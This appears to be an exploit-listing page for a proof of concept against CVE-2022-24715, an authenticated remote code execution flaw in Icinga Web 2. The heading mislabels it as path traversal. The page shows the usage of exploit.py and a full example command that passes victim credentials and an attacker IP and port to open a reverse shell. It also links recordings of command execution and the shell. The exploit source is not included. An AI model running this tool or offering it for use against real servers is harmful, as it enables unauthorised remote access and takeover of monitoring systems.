CVE-2022-24715 PoC — Icinga Web 2 路径遍历漏洞

Description

Icinga Web 2 - Authenticated Remote Code Execution <2.8.6, <2.9.6, <2.10

介绍

Icinga Web 2 - Authenticated Remote Code Execution <2.8.6, <2.9.6, <2.10

# Remote command execution 

[![asciicast](https://asciinema.org/a/595672.png)](https://asciinema.org/a/595672)

# Reverse shell

[![asciicast](https://asciinema.org/a/595675.png)](https://asciinema.org/a/595675)

# Usage
```
usage: exploit.py [-h] -u URL -U USER -P PASSWORD -i IP -p PORT

Welcome.

options:
  -h, --help            show this help message and exit
  -u URL, --url URL     Insert URL http://ip_victima
  -U USER, --user USER  Insert user -U user
  -P PASSWORD, --password PASSWORD
                        Insert password -P password
  -i IP, --ip IP        Insert IP_ATTACK -i IP
  -p PORT, --port PORT  Insert PORT_ATTACK -p PORT

```

# example
```
python3 exploit.py -u http://localhost -U admin  -P admin123 -i 192.168.1.1 -p 443
```

文件快照

备注